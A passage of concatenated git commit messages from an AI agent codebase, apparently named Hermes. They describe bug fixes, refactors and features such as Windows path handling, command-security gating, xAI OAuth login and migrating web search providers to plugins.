non-x86_64/aarch64 arch).
- ensure_installed(), _resolve_tirith_path(), and check_command_security()
short-circuit on unsupported platforms: cache _resolved_path =
_INSTALL_FAILED with reason 'unsupported_platform', skip PATH probes,
skip the background download thread, skip the disk failure marker, and
return allow with an empty summary from check_command_security so the
spawn loop never fires.
- Explicit user-configured tirith_path is still honored everywhere (a
user who built tirith themselves under WSL keeps that path).
- CLI banner in cli.py gated on is_platform_supported() — fires only on
platforms where tirith *should* work but isn't installed.
- Docs note tirith's supported-platform list and point Windows users at
WSL.
Tests: tests/tools/test_tirith_security.py +8 tests covering Linux
x86_64, Darwin arm64, Windows, and unknown-arch verdicts plus the
silent ensure_installed / check_command_security / _resolve_tirith_path
fast-paths and the explicit-path override.
test_tirith_security.py 75 passed (8 new + 67 pre-existing)
test_command_guards.py 19 passed
Two log-spam fixes surfaced by a Windows user (Git Bash + Python 3.11.9):
1. LocalEnvironment cwd warn spam
============================
Git Bash's `pwd -P` emits paths like `/c/Users/x`. The base-class
`_extract_cwd_from_output` was assigning this verbatim to `self.cwd`
without validation, then `_resolve_safe_cwd`'s `os.path.isdir(/c/...)`
returned False on Windows, triggering:
LocalEnvironment cwd '/c/Users/NVIDIA' is missing on disk;
falling back to '/' so terminal commands keep working.
...on every terminal call. The pre-existing Windows-path translation
inside `_run_bash` ran AFTER the safe-cwd check, so it could never
prevent the warning.
Fix:
- New `_msys_to_windows_path` helper (idempotent, no-op off Windows).
- `_resolve_safe_cwd` normalizes before `isdir`, so a valid MSYS path
is recognized as the real directory it points at.
- `LocalEnvironment._update_cwd` and a new override of
`_extract_cwd_from_output` translate + validate before mutating
`self.cwd`. Stale / non-existent marker paths roll back to the
previous cwd instead of clobbering it.
- The fallback warning still fires when the directory really is gone
(deletion-recovery scenario from #17558 still covered).
2. tirith spawn-failed warn spam
=============================
When tirith isn't installed (background install in flight, or marked
failed for the day) and the configured path stays as the bare string
`tirith`, every `subprocess.run([tirith_path, ...])` raises OSError
and logged:
tirith spawn failed: [WinError 2] The system cannot find the file specified
...on every command. fail_open=True means behaviour is correct, but
the log noise is severe.
Fix:
- `_warn_once(key, ...)` thread-safe dedupe helper.
- Three hot-path warnings (`tirith path resolved to None`,
`tirith spawn failed: ...`, `tirith timed out after Ns`) now log
once per (exception class, errno) / timeout-value / path-none key.
- Dedupe set is cleared on `_clear_install_failed` so a successful
install lets a subsequent failure surface again.
Tests
=====
- `tests/tools/test_local_env_windows_msys.py`: 12 tests covering the
MSYS→Windows translator, the resolve fast-path, update_cwd validation,
and extract_cwd_from_output rollback.
- `tests/tools/test_tirith_security.py`: 4 new dedupe tests (15 spawn
failures → 1 log line; distinct exc types → 2 lines; timeout dedupe;
path-None dedupe).
Targeted runs:
test_local_env_windows_msys.py 12 passed
test_local_env_cwd_recovery.py 7 passed (pre-existing, no regressions)
test_tirith_security.py 67 passed (63 pre-existing + 4 new)
test_base_environment + local_* 37 passed (no regressions)
test_local_env_blocklist + neighbours 114 passed
Reported via Hermes log capture: 19× cwd warnings + 15× tirith warnings
in a single short session.
On Windows (msvcrt path), _file_lock() first checked if the lock file
existed and wrote it with write_text(), then opened it with open('r+').
Between these two calls, another process could delete the file causing
open('r+') to raise FileNotFoundError — uncaught, leaving memory writes
to proceed without holding the lock, risking data corruption.
Replace the three-line sequence with a single open('a+', ...) call which
atomically creates the file if missing or opens it if it exists, closing
the TOCTOU window entirely. The existing fd.seek(0) before msvcrt.locking()
is preserved and sufficient for correct lock byte positioning.
Root cause: TOCTOU between lock_path.write_text() and open('r+')
Impact: concurrent memory writes on Windows could corrupt MEMORY.md
Pairs with the prior commit (start() now inside the try block). If
threading.Thread.start() itself raises (OS thread exhaustion under
heavy delegation fanout), the finally would call .join() on a
never-started thread, which raises RuntimeError("cannot join thread
before it is started") — trading one rare bug for another.
Thread.ident is None until start() succeeds, so gate the join on it.
_heartbeat_thread.start() was called before the try/finally block that
contains _heartbeat_stop.set(). If _register_subagent() or any code
between .start() and try: raised an exception, the finally block would
never run — leaving the heartbeat thread as an orphan that continues
calling _touch_activity() on the parent agent, incorrectly resetting
gateway timeout counters.
Move _heartbeat_thread.start() to be the first statement inside the
try block so the finally block always reaches _heartbeat_stop.set()
regardless of how the child run completes or fails.
Root cause: heartbeat start outside try/finally scope
Impact: orphan heartbeat thread incorrectly resets parent gateway timeouts
Before: missing node → hard exit; missing browser → FileNotFoundError.
After: both try ensure_dependency() first, which prompts interactively
and delegates installation to install.sh --ensure.
ripgrep and ffmpeg already degrade gracefully (grep fallback, skip
conversion) so they don't need wiring.
Also documents the design rationale in dep_ensure.py: detection and
prompting live in Python (portable, instant, UX-integrated); only
the actual installation delegates to install.sh (1900 lines of
battle-tested OS/package-manager logic).
Wraps every sync->async coroutine-scheduling site in the codebase with a
new agent.async_utils.safe_schedule_threadsafe() helper that closes the
coroutine on scheduling failure (closed loop, shutdown race, etc.)
instead of leaking it as 'coroutine was never awaited' RuntimeWarnings
plus reference leaks.
22 production call sites migrated across the codebase:
- acp_adapter/events.py, acp_adapter/permissions.py
- agent/lsp/manager.py
- cron/scheduler.py (media + text delivery paths)
- gateway/platforms/feishu.py (5 sites, via existing _submit_on_loop helper
which now delegates to safe_schedule_threadsafe)
- gateway/run.py (10 sites: telegram rename, agent:step hook, status
callback, interim+bg-review, clarify send, exec-approval button+text,
temp-bubble cleanup, channel-directory refresh)
- plugins/memory/hindsight, plugins/platforms/google_chat
- tools/browser_supervisor.py (3), browser_cdp_tool.py,
computer_use/cua_backend.py, slash_confirm.py
- tools/environments/modal.py (_AsyncWorker)
- tools/mcp_tool.py (2 + 8 _run_on_mcp_loop callers converted to
factory-style so the coroutine is never constructed on a dead loop)
- tui_gateway/ws.py
Tests: new tests/agent/test_async_utils.py covers helper behavior under
live loop, dead loop, None loop, and scheduling exceptions. Regression
tests added at three PR-original sites (acp events, acp permissions,
mcp loop runner) mirroring contributor's intent.
Live-tested end-to-end:
- Helper stress test: 1500 schedules across live/dead/race scenarios,
zero leaked coroutines
- Race exercised: 5000 schedules with loop killed mid-flight, 100 ok /
4900 None returns, zero leaks
- hermes chat -q with terminal tool call (exercises step_callback bridge)
- MCP probe against failing subprocess servers + factory path
- Real gateway daemon boot + SIGINT shutdown across multiple platform
adapter inits
- WSTransport 100 live + 50 dead-loop writes
- Cron delivery path live + dead loop
Salvages PR #2657 — adopts contributor's intent over a much wider site
list and a single centralized helper instead of inline try/except at
each site. 3 of the original PR's 6 sites no longer exist on main
(environments/patches.py deleted, DingTalk refactored to native async);
the equivalent fix lives in tools/environments/modal.py instead.
Co-authored-by: JithendraNara <jithendranaidunara@gmail.com>
Build on @aydnOktay's cronjob fix by routing the cronjob check through
the shared 'env_var_enabled' helper in utils.py (same truthy set:
1/true/yes/on) and applying the same semantics to the 8 sibling call
sites that read HERMES_INTERACTIVE / HERMES_GATEWAY_SESSION /
HERMES_EXEC_ASK / HERMES_CRON_SESSION with bare os.getenv() truthy
checks:
- tools/approval.py: _is_gateway_approval_context (2), check_command_safety (2),
check_all_command_guards (3) -- 7 sites total
- tools/terminal_tool.py: _handle_sudo_failure, sudo password prompt -- 2 sites
- tools/skills_tool.py: _is_gateway_surface -- 1 site
Without this, a user who exports HERMES_INTERACTIVE=0 in their shell
still gets interactive sudo prompts, approval prompts, and gateway
skill-install paths -- only the cronjob tool was hardened. Now all
consumers agree on the same false-like values.
Also drops the duplicate _is_truthy_env helper from cronjob_tools.py
in favour of the existing canonical utils.env_var_enabled.
Tests: extend the parametrized regression coverage to all three
session env vars (HERMES_INTERACTIVE / HERMES_GATEWAY_SESSION /
HERMES_EXEC_ASK) symmetrically. tests/tools/test_cronjob_tools.py:
60/60 pass; tests/tools/{approval,terminal_tool,skills_tool,
cron_approval_mode,hardline_blocklist}.py: 378/378 pass.
The new resolve_xai_http_credentials() resolver was using os.getenv()
for the XAI_API_KEY/XAI_BASE_URL fallback path, which dropped the
~/.hermes/.env contract guarded by PR #17140 / #17163. Users with
XAI_API_KEY in dotenv only would see "No xAI credentials found" even
though the key was configured.
Separately, _transcribe_xai started consulting creds["base_url"] (which
always returns at least the default https://api.x.ai/v1) ahead of the
public XAI_STT_BASE_URL env override, so the per-tool override stopped
working.
- tools/xai_http.py: add module-level get_env_value() wrapper that
reads ~/.hermes/.env first (via hermes_cli.config.get_env_value),
then os.environ. Resolver uses it for the API-key/base-url fallback.
- tools/transcription_tools.py: restore precedence so XAI_STT_BASE_URL
wins over creds["base_url"].
- tests/tools/test_transcription_dotenv_fallback.py +
tests/tools/test_tts_dotenv_fallback.py: repoint the per-call-site
patches at the new resolution point (tools.xai_http.get_env_value).
The end-to-end regression-guard test (which patches load_env) is
unchanged and still passes.
Adds a new authentication provider that lets SuperGrok subscribers sign
in to Hermes with their xAI account via the standard OAuth 2.0 PKCE
loopback flow, instead of pasting a raw API key from console.x.ai.
Highlights
----------
* OAuth 2.0 PKCE loopback login against accounts.x.ai with discovery,
state/nonce, and a strict CORS-origin allowlist on the callback.
* Authorize URL carries `plan=generic` (required for non-allowlisted
loopback clients) and `referrer=hermes-agent` for best-effort
attribution in xAI's OAuth server logs.
* Token storage in `auth.json` with file-locked atomic writes; JWT
`exp`-based expiry detection with skew; refresh-token rotation
synced both ways between the singleton store and the credential
pool so multi-process / multi-profile setups don't tear each other's
refresh tokens.
* Reactive 401 retry: on a 401 from the xAI Responses API, the agent
refreshes the token, swaps it back into `self.api_key`, and retries
the call once. Guarded against silent account swaps when the active
key was sourced from a different (manual) pool entry.
* Auxiliary tasks (curator, vision, embeddings, etc.) route through a
dedicated xAI Responses-mode auxiliary client instead of falling back
to OpenRouter billing.
* Direct HTTP tools (`tools/xai_http.py`, transcription, TTS, image-gen
plugin) resolve credentials through a unified runtime → singleton →
env-var fallback chain so xai-oauth users get them for free.
* `hermes auth add xai-oauth` and `hermes auth remove xai-oauth N` are
wired through the standard auth-commands surface; remove cleans up
the singleton loopback_pkce entry so it doesn't silently reinstate.
* `hermes model` provider picker shows
"xAI Grok OAuth (SuperGrok Subscription)" and the model-flow falls
back to pool credentials when the singleton is missing.
Hardening
---------
* Discovery and refresh responses validate the returned
`token_endpoint` host against the same `*.x.ai` allowlist as the
authorization endpoint, blocking MITM persistence of a hostile
endpoint.
* Discovery / refresh / token-exchange `response.json()` calls are
wrapped to raise typed `AuthError` on malformed bodies (captive
portals, proxy error pages) instead of leaking JSONDecodeError
tracebacks.
* `prompt_cache_key` is routed through `extra_body` on the codex
transport (sending it as a top-level kwarg trips xAI's SDK with a
TypeError).
* Credential-pool sync-back preserves `active_provider` so refreshing
an OAuth entry doesn't silently flip the active provider out from
under the running agent.
Testing
-------
* New `tests/hermes_cli/test_auth_xai_oauth_provider.py` (~63 tests)
covers JWT expiry, OAuth URL params (plan + referrer), CORS origins,
redirect URI validation, singleton↔pool sync, concurrency races,
refresh error paths, runtime resolution, and malformed-JSON guards.
* Extended `test_credential_pool.py`, `test_codex_transport.py`, and
`test_run_agent_codex_responses.py` cover the pool sync-back,
`extra_body` routing, and 401 reactive refresh paths.
* 165 tests passing on this branch via `scripts/run_tests.sh`.
Wrap requests.post() in create_session() for browser_use, browserbase,
and firecrawl providers with requests.RequestException handling.
Connection timeouts and DNS resolution failures now surface as clean
RuntimeError messages instead of raw requests exception tracebacks.
Browser Use managed-gateway mode preserves raw exception propagation
so the existing idempotency-key retry semantics keep working.
Closes#2746
Co-authored-by: teknium1 <127238744+teknium1@users.noreply.github.com>
Three asyncio.gather() calls in tools/web_tools.py ran without
return_exceptions=True. A single failing task (e.g. LLM rate limit on
one URL) would raise out of gather() and discard every other
successfully fetched/summarized result.
Pass return_exceptions=True and filter BaseException entries with a
warning log before unpacking. Affects:
- chunk summarization gather (large web_extract pages)
- firecrawl per-result LLM post-processing
- tavily crawl per-result LLM post-processing
Closes#2744
Remove redundant inner `import re` and regex recompilation on every call in
_interpolate_env_vars. Add module-level _ENV_VAR_PATTERN compiled once.
Replace the separate _interpolate_value() in mcp_config.py (which used \w+
and would silently fail on env vars containing hyphens or dots) with the
shared _ENV_VAR_PATTERN from mcp_tool.py. Remove now-unused import re.
Cron mutation operations (run/pause/resume/remove) and 'hermes cron edit'
now accept a job name in addition to the hex ID, with case-insensitive
matching. Before this, 'hermes cron run my_job_name' died with
'Job with ID my_job_name not found' and forced the user to look up the
hex ID first.
The original PR matched by name but silently picked the first match when
two jobs shared a name. This version refuses to act on an ambiguous name
and surfaces every matching job (id, name, schedule, next_run_at) so the
caller can pick a specific ID.
- cron/jobs.py:
- get_job() stays ID-only (preserves existing call-site semantics for
web_server/api_server/curator/scheduler/test code that always passes
real IDs).
- resolve_job_ref() is the new name-or-ID resolver, used by pause/
resume/trigger/remove_job. Exact ID match wins over a name match
even if a different job's name happens to equal that ID. Ambiguous
name match raises AmbiguousJobReference with all candidate IDs.
- tools/cronjob_tools.py: dispatch site uses resolve_job_ref, surfaces
ambiguous matches as a structured error with the matching IDs.
- hermes_cli/cron.py: 'cron edit' uses resolve_job_ref so editing by
name works and ambiguous names are reported with IDs.
- tests/cron/test_jobs.py: new TestResolveJobRef covering ID match,
case-insensitive name match, ID-wins-over-name, ambiguous refusal,
and that pause/resume/trigger/remove all refuse on ambiguity.
Closes#2627
When the in-tree FAL path has no API key (and no managed gateway), the
handler used to return a bare 'FAL_KEY environment variable not set'
error. Users had no idea where to get a key, that a managed Nous
gateway exists, or that plugin-registered providers are an option.
Now `image_generate_tool` returns a structured multi-line message:
- signup link (https://fal.ai)
- managed-gateway status (if Nous tools are enabled)
- pointer to `hermes tools` / `hermes plugins list` for alternate
backends, so users on a stale `image_gen.provider` know where to look
The schema is untouched — `check_fn` still gates the tool out of the
schema when no backend is reachable at startup, consistent with every
other conditional tool. This patch fixes the call-time failure modes:
managed-gateway 5xx, plugin provider disappearing mid-session, etc.
Inspired by #2546 / @Mibayy. The PR was ~5700 commits stale against
the new plugin-aware image_gen architecture, so this is a forward port
of the actionable-error idea rather than a cherry-pick.
Closes#2543
Co-authored-by: Mibayy <mibayy@users.noreply.github.com>
Adds Hugging Face's official skill catalog to the default GitHub taps and
classifies it as a trusted source alongside openai/skills and anthropics/skills.
- tools/skills_guard.py: huggingface/skills -> TRUSTED_REPOS
- tools/skills_hub.py: GitHubSource.DEFAULT_TAPS += huggingface/skills (skills/)
- website/docs: list it under default taps + trusted-source examples
Closes#2549.
Co-authored-by: teknium1 <127238744+teknium1@users.noreply.github.com>
Discord's CDN serves attachments with Content-Encoding: br. aiohttp's
compression_utils tries 'import brotlicffi as brotli' first and falls back
to google's Brotli, but Brotli<1.2.0's Decompressor.process() is 1-arg
while aiohttp calls it with 2 args (data, max_length). Result: every
.txt/.md/.doc uploaded to a Discord-gateway session fails to decode at
att.read() with 'Can not decode content-encoding: br' / 'TypeError:
process() takes exactly 1 argument (2 given)', the agent never sees the
bytes, and falls back to filesystem guessing.
Pin brotlicffi==1.2.0.1 in both surfaces:
- tools/lazy_deps.py 'platform.discord' tuple: Discord users on the
lazy-install path get it on first discord.py import.
- pyproject.toml [messaging] extra: users who explicitly install
hermes-agent[messaging] (skipping the lazy path) get it eagerly.
brotlicffi wins aiohttp's import race regardless of what else is
installed (try brotlicffi / except: import brotli), so existing setups
that already pulled google's Brotli transitively don't change behavior
beyond the bug fix. ~1.5 MB wheel, manylinux/macOS/Windows coverage.
E2E verified: round-trip decode of Brotli-compressed payload via
aiohttp.compression_utils.brotli succeeds with brotlicffi pinned; same
test against Brotli==1.1.0 alone reproduces the reported TypeError.
Credit to @Korkyzer for the original diagnosis and fix shape in #15744;
the lazy-deps gating layer was added on top to keep brotlicffi out of
the install path for users who don't run a Discord gateway.
Fixes#12511.
Closes#15744.
Co-authored-by: Korky <korkyzer@gmail.com>
Follow-up to the sandbox-bypass env-var fix:
- Update the opt-out gate so a user-provided AGENT_BROWSER_ARGS is also
respected, not just the legacy AGENT_BROWSER_CHROME_FLAGS. Previously
the gate only checked the broken legacy var, so a user who pre-set
AGENT_BROWSER_ARGS would still get clobbered by Hermes's auto-injection.
- Document AGENT_BROWSER_ARGS in .env.example, the browser feature page,
and the env var reference, with notes about the auto-injection on
AppArmor-restricted systems (Ubuntu 23.10+, DGX Spark, containers).
- Add Anadi Jaggia to AUTHOR_MAP.
AGENT_BROWSER_CHROME_FLAGS is not read by agent-browser CLI.
The correct env var is AGENT_BROWSER_ARGS, with comma-separated values.
This fixes Chrome 'No usable sandbox' crash on Ubuntu 23.10+ systems
where AppArmor restricts unprivileged user namespaces. The detection
logic was correct but the fix used the wrong environment variable name
and space-separated instead of comma-separated args.
Pre-existing diagnostics below an edit point used to surface as 'LSP
diagnostics introduced by this edit' whenever the edit deleted or
inserted lines. The delta-filter key included the diagnostic's
range, so the same logical error reported at a different line in
the post-edit snapshot looked like a brand new diagnostic.
Concrete case: deleting 14 lines in cli.py caused Pyright errors at
lines 9873, 10590, 12413, 13004 (unrelated to the edit) to be
reported as introduced by it.
Fix: build a piecewise-linear line-shift map (via difflib's
SequenceMatcher) from pre and post content, and remap baseline
diagnostics into post-edit coordinates before the set-difference.
Diagnostics in deleted regions drop out cleanly; diagnostics below
the edit shift by the right amount; diagnostics above are untouched.
The strict (range-aware) equality key stays — so a genuinely new
instance of an identical error class at a different line still
surfaces as new.
Pieces:
- agent/lsp/range_shift.py — build_line_shift, shift_diagnostic_range,
shift_baseline. Pure functions, no LSP state.
- agent/lsp/manager.py — LSPService.get_diagnostics_sync gains an
optional line_shift kwarg; baseline is shift_baseline'd before
computing the seen-set. _diag_key keeps the strict range key.
- tools/file_operations.py — write_file captures pre_content for any
LSP-handled extension (not just LINTERS_INPROC) and passes pre/post
to _maybe_lsp_diagnostics, which builds the shift map.
- New _lsp_handles_extension helper guards the pre_content read.
Trade-offs preserved:
- Genuinely new same-class errors at different lines still surface
(content-only key would have swallowed them).
- Pre-existing errors at unshifted positions still get filtered
(covered by the strict-key path with no shift).
- Best-effort: when pre_content can't be captured (file didn't
exist, permissions), the unshifted comparison still catches
most pre-existing errors; the edge case it misses is a new file
with a non-empty baseline, which is structurally impossible.
Pyproject's [all] extra was slimmed down in May 2026 — ~20 optional
backends moved to tools/lazy_deps.py and only install on first use.
hermes update runs uv pip install -e .[all] which doesn't touch any of
them, so pin bumps in LAZY_DEPS (CVE response, transitive fixes) were
silently ignored on already-activated backends.
Two changes:
1. _is_satisfied() now parses the spec and checks the installed version
against the constraint via packaging.specifiers. Previously it
returned True the moment the package name was importable, which made
ensure() a name-presence gate rather than a version-pin gate.
2. New active_features() / refresh_active_features() pair: lists every
feature with at least one of its packages currently installed, then
re-runs ensure() on each. Refresh is invoked at the end of
_cmd_update_impl, right after the [all] install completes. Cold
backends (never activated) stay quiet — no churn for them.
Output during update is one summary block:
→ Refreshing 4 active lazy backend(s)...
↑ 1 refreshed: provider.anthropic
✓ 3 already current
or
⚠ memory.honcho failed to refresh: <pip stderr>
Failures never raise out of update — backends keep their previously-
installed version and we tell the user to rerun once upstream is fixed.
security.allow_lazy_installs=false is honored: features get marked
"skipped" with the reason shown.
Tests: 18 new unit tests covering version-aware satisfaction (exact pin,
range, extras blocks, missing package, malformed spec), active feature
discovery, and refresh status reporting. All 61 lazy_deps tests pass.
The _foreground_background_guidance() function matched background-wrapper
keywords (nohup/disown/setsid) anywhere in the command text, including
inside quoted strings, Python -c code, commit messages, and PR body text.
Two-layer fix:
1. Strip single-quoted, double-quoted, and backtick-quoted content before
pattern matching via _strip_quotes() helper.
2. Tighten the regex to only match keywords at command-start positions
(after ^, ;, &, &&, ||, or $() — not mid-argument.
Both layers are needed: quote stripping handles the common case of keywords
in string literals, and the position-aware regex handles unquoted cases
like 'export FOO=setsid' (word boundary match, wrong position).
Fixes#20064
Cross-provider delegation (e.g. MiniMax parent → DeepSeek child) must not
inherit the parent's api_mode, because each provider uses a different API
surface: MiniMax uses 'anthropic_messages' while DeepSeek uses
'chat_completions'. Inheriting the wrong mode causes 404 errors.
When the effective provider differs from the parent's provider, derive
api_mode from the target provider's defaults instead (None triggers
re-derivation).
Refs: Bug #20558, PR #20563
Surfaced by local E2E behavior-parity testing of PR vs origin/main: the
plugin-migrated dispatchers were quietly changing the error envelope
shape returned to function-calling models on unconfigured systems.
Two findings, both from per-result error wrapping bleeding into the
pre-flight configuration error path:
1. **search**: ``firecrawl.search()`` caught the
``ValueError("Web tools are not configured...")`` from
``_get_firecrawl_client()`` and returned it as
``{"success": False, "error": ...}``, losing the legacy
``{"error": "Error searching web: ..."}`` envelope that
``tool_error()`` emits on main. Models that special-case the
``error`` key still detect the failure, but the prefix is part of
the legacy contract some users rely on.
2. **crawl**: ``firecrawl.crawl()`` caught the same pre-flight
``ValueError`` and wrapped it as a per-page error inside
``results[0]``. Main short-circuits on ``check_firecrawl_api_key()``
BEFORE dispatching, so its unconfigured response is
``{"success": False, "error": "web_crawl requires Firecrawl..."}``
at the top level. The PR's per-page burying hid the failure inside
``results[]`` where models that check ``result.get("error")`` would
miss it.
Fix:
- ``plugins/web/firecrawl/provider.py``: pull
``_get_firecrawl_client()`` outside the broad ``try`` in
``search()``. Pre-flight ``ValueError`` / ``ImportError`` propagate
to the dispatcher's top-level exception handler. In-flight SDK
errors still get wrapped as ``{"success": False, ...}``.
- ``tools/web_tools.py``: mirror main's upstream availability gate in
``web_crawl_tool``. When the resolved crawl provider is
``is_available()==False``, short-circuit BEFORE dispatching with the
same top-level error shape main emits.
- ``tests/tools/test_web_providers.py``: 2 regression tests
(``TestUnconfiguredErrorEnvelopeParity``) lock in the behavior so
future plugin work can't undo this.
Verified via local subprocess-based parity test (14/14 scenarios match
origin/main shape exactly) and full 210/210 web test suite green.
The web-provider migration originally left firecrawl crawl as the only
provider-specific code remaining inline in tools/web_tools.py (~250
lines of Firecrawl-specific crawl orchestration that didn't fit the
plugin's existing surface). This commit closes that gap.
What this adds
--------------
1. plugins/web/firecrawl/provider.py: implement async ``crawl(url, **kwargs)``
- Accepts the same kwargs as the dispatcher passes to any crawl
provider (``instructions``, ``depth``, ``limit``); Firecrawl's
/crawl endpoint ignores ``instructions`` and ``depth`` so we log
and drop with a clear info message.
- Wraps the sync SDK ``crawl()`` call in asyncio.to_thread so the
gateway event loop isn't blocked on a multi-page crawl.
- Preserves the response-shape normalization across pydantic /
typed-object / dict variants that the legacy inline code did.
- Preserves per-page website-policy re-check (catches blocked
redirects after the SDK returns).
- Returns the same {"results": [...]} shape so the dispatcher's
shared LLM-summarization post-processing path works unchanged.
- Sets supports_crawl() to True so the dispatcher routes through
the plugin instead of the legacy fallthrough.
2. tools/web_tools.py: delete the entire legacy firecrawl crawl block
that used to run after "No registered provider supports crawl" —
~270 lines including:
- check_firecrawl_api_key gate + typed error
- inline SSRF + website-policy seed-URL gate (dispatcher already
does this)
- Firecrawl client setup with crawl_params
- 100+ lines of pydantic/dict/typed-object normalization
- Per-page LLM-processing loop (kept in the dispatcher's shared
post-processing path; that's where it always belonged)
- trimming + base64 image cleanup (still done in the dispatcher's
shared path)
Replaced with a single typed-error branch when no crawl-capable
provider is available: "web_crawl has no available backend. Set
FIRECRAWL_API_KEY (or FIRECRAWL_API_URL for self-hosted), or set
TAVILY_API_KEY for Tavily."
Test updates
------------
- tests/tools/test_website_policy.py:
- test_web_crawl_short_circuits_blocked_url: dispatcher seed-URL
gate still runs on web_tools.check_website_access (no change to
that patch), but the firecrawl client lockdown moved to the
plugin module — patch firecrawl_provider._get_firecrawl_client
instead of web_tools._get_firecrawl_client. The dispatcher
short-circuits before the plugin runs, so the test still passes.
- test_web_crawl_blocks_redirected_final_url: patch the per-page
policy gate at plugins.web.firecrawl.provider.check_website_access
(where it now runs) AND on web_tools (where the seed-URL gate
still runs). Patch firecrawl_provider._get_firecrawl_client for
the FakeCrawlClient injection. Both checks flow through the same
fake_check function.
- tests/plugins/web/test_web_search_provider_plugins.py:
- Update parametrized capability-flag spec: firecrawl supports_crawl
is now True.
- Add test_firecrawl_crawl_returns_error_dict_when_unconfigured —
verifies inspect.iscoroutinefunction(p.crawl) is True and that
the async crawl returns a per-page error dict (not a raise) when
FIRECRAWL_API_KEY is missing.
Verified
--------
- 218/218 web tests pass (was 173, +44 plugin tests + 1 new firecrawl
crawl test from this commit = 218 with the test deduplication).
- Compile-clean (py_compile passes on both files).
- Provider capabilities matrix confirmed end-to-end:
name search extract crawl async-extract? async-crawl?
firecrawl True True True True True
tavily True True True False False
Both crawl-capable providers exercise the dispatcher's
inspect.iscoroutinefunction async-or-sync detection.
Net diff
--------
- tools/web_tools.py: -254 lines (legacy inline crawl gone)
- plugins/web/firecrawl/provider.py: +185 lines (crawl method)
- test_website_policy.py: +14/-9 lines (patch locations)
- test_web_search_provider_plugins.py: +22/-1 lines (capability flag
+ new firecrawl crawl test)
- Total: -32 net LoC; tools/web_tools.py is now 1509 lines (was 1763
before this commit, 2227 before the migration started).
Removes the legacy in-tree provider scaffolding that PR #25182 fully
replaced with the plugin architecture:
tools/web_providers/__init__.py (6 lines)
tools/web_providers/base.py (89 lines — old ABCs)
tools/web_providers/ARCHITECTURE.md (73 lines — old design doc)
These were the staging-ground ABCs and provider modules that the
plugin migration absorbed. All seven web providers now implement the
single :class:`agent.web_search_provider.WebSearchProvider` ABC and
live under ``plugins/web/<vendor>/``. Nothing else in the tree imports
``tools.web_providers`` — verified via grep before deletion.
Test migration (tests/tools/test_web_providers.py)
--------------------------------------------------
Rewrote ``TestWebProviderABCs`` to test the new unified ABC at
:mod:`agent.web_search_provider`:
- test_cannot_instantiate_abc_directly — abstract ``name`` + ``is_available``
- test_concrete_search_only_provider_works — exercise default
``supports_extract=False`` / ``supports_crawl=False`` flags
- test_concrete_multi_capability_provider_works — exercise all three
capabilities, async extract supported (declared sync here for
simplicity; real plugins like parallel + firecrawl use async)
- test_search_only_provider_skips_extract_and_crawl — verify
``supports_*()`` flags default to False so search-only providers
don't have to implement extract() or crawl()
The 9 other tests in the file (per-capability backend selection,
DEFAULT_CONFIG merge, dispatcher routing) test public helpers in
``tools.web_tools`` that still exist and pass unchanged.
agent/web_search_provider.py docstring updated to reflect that the
legacy ABCs no longer exist; the response-shape contract is preserved
bit-for-bit so external consumers see no behavioral change.
Net diff
--------
- tools/web_providers/ removed (-168 lines)
- tests/tools/test_web_providers.py rewritten ABC section (+78/-30 net,
same coverage, new API)
- agent/web_search_provider.py docstring (-3/+5 lines)
Verified
--------
- 173/173 targeted web tests pass
- 12/12 ABC contract tests pass with the new interface
- No remaining grep hits for ``tools.web_providers`` outside of
intentional historical references in plugin docstrings.
Removes ~580 lines of dead code from tools/web_tools.py that were
superseded by the plugin migration but kept around in the cutover commit
to keep the diff focused. Replaces them with thin re-export shims so
existing tests and external callers that reach for the legacy
``tools.web_tools.<name>`` paths continue to work transparently.
Deleted from tools/web_tools.py
--------------------------------
- Lazy Firecrawl SDK proxy (_load_firecrawl_cls, _FirecrawlProxy,
_FIRECRAWL_CLS_CACHE, the Firecrawl singleton)
- Firecrawl client section (_get_direct_firecrawl_config,
_get_firecrawl_gateway_url, _is_tool_gateway_ready,
_has_direct_firecrawl_config, _raise_web_backend_configuration_error,
_firecrawl_backend_help_suffix, _get_firecrawl_client)
- Parallel client section (_get_parallel_client,
_get_async_parallel_client, _parallel_client, _async_parallel_client)
- Tavily client section (_TAVILY_BASE_URL, _tavily_request,
_normalize_tavily_search_results, _normalize_tavily_documents)
- Generic SDK normalizers (_to_plain_object, _normalize_result_list,
_extract_web_search_results, _extract_scrape_payload)
- Exa client section (_get_exa_client, _exa_client, _exa_search,
_exa_extract)
- Parallel helpers (_parallel_search, _parallel_extract)
- Duplicate inline check_firecrawl_api_key
Net: tools/web_tools.py drops from 2227 → 1613 lines (-614 lines).
Re-exports added at top of tools/web_tools.py
---------------------------------------------
- From plugins.web.firecrawl.provider:
Firecrawl, _FirecrawlProxy, _FIRECRAWL_CLS_CACHE, _load_firecrawl_cls,
_get_direct_firecrawl_config, _get_firecrawl_gateway_url,
_is_tool_gateway_ready, _has_direct_firecrawl_config,
_firecrawl_backend_help_suffix, _raise_web_backend_configuration_error,
_get_firecrawl_client, _to_plain_object, _normalize_result_list,
_extract_web_search_results, _extract_scrape_payload,
check_firecrawl_api_key
- From plugins.web.tavily.provider:
_tavily_request, _normalize_tavily_search_results,
_normalize_tavily_documents
- From plugins.web.parallel.provider:
_get_parallel_client, _get_async_parallel_client
- From plugins.web.exa.provider:
_get_exa_client
Plus retained module-level imports for backward-compat with tests:
- httpx (tests patch tools.web_tools.httpx for tavily request mocking)
- build_vendor_gateway_url, _read_nous_access_token,
resolve_managed_tool_gateway, managed_nous_tools_enabled,
prefers_gateway (tests patch tools.web_tools.<name>)
Plugin indirection pattern (key technique)
------------------------------------------
For functions inside the firecrawl/parallel/exa plugins to honor
unit-test patches that target ``tools.web_tools.<name>``, the plugin
implementations now do ``import tools.web_tools as _wt`` at call time
and read helper names through that module (``_wt._read_nous_access_token``,
``_wt.Firecrawl``, ``_wt.prefers_gateway``, etc.). This makes the
existing test patches transparently reach the plugin code without any
test changes.
The cached client globals (_firecrawl_client, _firecrawl_client_config,
_parallel_client, _async_parallel_client, _exa_client) also now live on
tools.web_tools so existing test setup_method handlers that reset
``tools.web_tools._<vendor>_client = None`` between cases keep working.
The plugins read/write the cache via getattr/setattr on the web_tools
module.
Verified
--------
- 173/173 targeted web tests pass:
test_web_providers.py, test_web_providers_brave_free.py,
test_web_providers_ddgs.py, test_web_providers_searxng.py,
test_web_tools_config.py, test_web_tools_tavily.py,
test_website_policy.py, test_config_null_guard.py
- Compile-clean (py_compile.compile passes)
- All inline implementations now exist in exactly one place
(plugins.web.<vendor>.provider)
Follow-up clean-up
------------------
